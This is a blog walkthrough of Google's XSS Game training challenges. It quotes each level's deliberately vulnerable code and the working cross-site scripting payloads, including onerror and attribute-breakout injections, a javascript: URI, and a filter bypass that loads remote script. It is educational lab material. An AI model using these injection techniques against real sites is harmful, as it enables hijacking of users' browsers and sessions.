Google XSS Games

September 23, 2018

Today we’re playing with a little different challenge, series of XSS challenges from Google hosted here. Give it a go, before reading this write up!

Level 1: Hello, world of XSS

Firstly, we navigate to the challenge website.

Level One Overview

By entering a simple <script>alert(1)</script>, we get a working XSS attack.

Level One XSS

But why is that? Let’s take a look at the source code.

page_header = """
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level1">
    <img src="/static/logos/level1.png">
      <div>
"""
 
page_footer = """
    </div>
  </body>
</html>
"""
 
main_page_markup = """
<form action="" method="GET">
  <input id="query" name="query" value="Enter query here..."
    onfocus="this.value=''">
  <input id="button" type="submit" value="Search">
</form>
"""
 
class MainPage(webapp.RequestHandler):
 
  def render_string(self, s):
    self.response.out.write(s)
 
  def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")
 
    if not self.request.get('query'):
      # Show main search page
      self.render_string(page_header + main_page_markup + page_footer)
    else:
      query = self.request.get('query', '[empty]')
       
      # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."
 
      # Display the results page
      self.render_string(page_header + message + page_footer)
     
    return
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)

Basically, whatever we enter in a query will be inserted into the webpage. This allows us to enter any malicious code we want.

Level 2: Persistence is key

Next challenge is a little bit different, we get some chat application.

Level Two Overview

This time we can’t simply insert <script>alert(1)</script>, as in the sent message nothing will be shown. That’s because inserting HTML content in the DOM using innerHTML won’t run the script.

But another simple attack will be to use <img> tag and onerror atrribute, just enter an invalid path to the image and script from onerror will execute.

Just like this - <img src=1 onerror=alert(1)>.

Level Two XSS

Level 3: That sinking feeling…

This time we get a simple gallery.

Level Three Overview

We can modify an image that we want to see by clicking on the buttons, or by observing an URL https://xss-game.appspot.com/level3/frame#3. Each image has different number, but only three first will produce an valid image.

Viewing the source code of the challenge, we can see this script.

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);

        window.location.hash = num;

        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }

        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }

      window.onload = function() { 
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }

      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
    </script>

And there is potential for XSS, in line html += "<img src='/static/level3/cloud" + num + ".jpg' />";, just our num variable which is set from the value after the hash in the URL will have to look like this - 1'onerror='alert(1)//. That way, after the execution our html variable will be <img src='/static/level3/cloud1' onerror='alert(1)//.jpg' />

Level Three XSS

Level 4: Context matters

In this challenge we get a timer that will pop an alert after a specified number of seconds we enter.

Level Four Overview

Let’s take a look at the source code, just at the waiting screen.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('3');" />
    <br>
    <div id="message">Your timer will execute in 3 seconds.</div>
  </body>
</html>

After small analysis, we can see a possible attack vector in line onload="startTimer('3');", where 3 is the number of seconds we entered. If we put something like this 1');alert('1, we could possibly put the XSS in the webpage.

But after trying that, in the source code we can see that anything after the ; character was omitted onload="startTimer('1&#39;)');". After a little bit of research, I’ve found that URL encoding the character where ; => %3B will solve this issue.

In the end, our payload is 1')%3Balert('1.

Level Four XSS

Level 5: Breaking protocol

This time we have a Groove Reader application, with a Sign Up link.

Level Five Overview

After clicking the link, we are presented with a field to enter our email and another submit link. Viewing the source code gives us nothing usefull at first sight.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>

  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">

    <br><br>
    <a href="confirm">Next >></a>
  </body>
</html>

But after connecting a few dots, the URL signup?next=confirm will change the value of next href. Just as we change it to test, signup?next=test our href value changes <a href="test">Next >></a>. That way we can craft a simple payload - just put javascript:alert(1)%3B as the next paramter in the URL just like this signupp?next=javascript:alert(1)%3B.

Level Five XSS

Level 6: Follow the 🐇

This time we want to execute Javascript from the remote resource, bypassing the filter from the source.

Level Six Overview

Firstly, let’s take a look at the filter.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }

    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());

    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);

    </script>
  </head>

  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

As we can see in the line if (url.match(/^https?:\/\//)) {, we cannot input anything matching the https string. But, there is a catch, we can easily do it by entering Http as the protocol.

In order to exploit, host a remote file containing alert(1) (easily done with Pastebin), and in the URL enter level6/frame#Https://pastebin.com/raw/******.

Or even easier, using the data URI, just like this data:text/javascript,alert(1). That way we do not even have to create any remote files

Level Six XSS

Contact

If you have any suggestions regarding this post or just want to chat together check out these ways to reach out to me.